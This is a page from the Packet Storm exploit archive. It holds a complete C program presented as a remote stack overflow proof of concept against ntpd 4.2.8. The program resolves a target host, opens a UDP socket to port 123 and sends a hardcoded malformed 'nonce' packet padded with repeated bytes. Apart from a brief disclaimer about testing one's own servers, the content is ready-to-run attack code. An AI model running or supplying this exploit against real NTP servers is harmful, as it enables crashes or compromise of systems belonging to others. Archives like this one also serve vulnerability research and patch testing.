exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ntpd 4.2.8 Stack Overflow Proof Of Concept

ntpd 4.2.8 Stack Overflow Proof Of Concept
Posted Nov 30, 2016
Authored by N_A

Remote ntpd version 4.2.8 stack overflow proof of concept exploit.

tags | exploit, remote, overflow, proof of concept
SHA-256 | d236563023f74672a9096c635e4f48e9f46e8f7d2d35e973eaa6881d3a7148eb

ntpd 4.2.8 Stack Overflow Proof Of Concept

Change Mirror Download
/*

Remote ntpd 4.2.8 Stack Over Flow Proof Of Concept Exploit by N_A , N_A[at]tutanota.com
Please use this code to test your own servers. Do not break the law. Do not misuse. I am not responsible for any
misuse of this code


N_A[at]tutanota.com

*/




#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <netinet/in.h>
#include <string.h>
#include <netdb.h>


#define PORT 123 /* change if needed */


/* & nonce exploit packet , Todor Donev */
char packet[] ="\x26\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x6e\x6f\x6e\x63\x65\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61";



void err(char *msg);

int main(int argc, char *argv[])

{
int sockfd,n;

struct sockaddr_in vuln;
struct hostent *server;

char *hostname;

if(argc != 2)
{
printf("==================================================\n");
printf("\tntpd 4.2.8 remote stack overflow exploit\n");
printf("\t\tBy N_A\n");
printf("\tUSAGE: %s [HOST]\n", argv[0]);
printf("\t%s 127.0.0.1\n", argv[0]);
printf("==================================================\n");
return EXIT_FAILURE;
}


hostname = argv[1];
server = gethostbyname(hostname);

if( server == NULL )
{
err("gethostbyname");
}


if ((sockfd = socket(AF_INET,SOCK_DGRAM,0)) < 0 )
{
err("socket()");
}

printf("\n[*]UDP socket() successful\n");

bzero((char *)&vuln,sizeof(vuln));
vuln.sin_family = AF_INET;
bcopy((char *)server->h_addr,(char *)&vuln.sin_addr.s_addr,server->h_length);
vuln.sin_port = htons(PORT);

if((n = sendto(sockfd,packet,strlen(packet),0,(struct sockaddr *)&vuln,sizeof(vuln))) < 0 )
{
err("sendto()");
}

printf("\n\n=============================\n");
printf("\nPacket sent to server!\n");
printf("=============================\n\n");

return EXIT_SUCCESS;
}



void err(char *msg)
{
perror(msg);
exit(0);
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close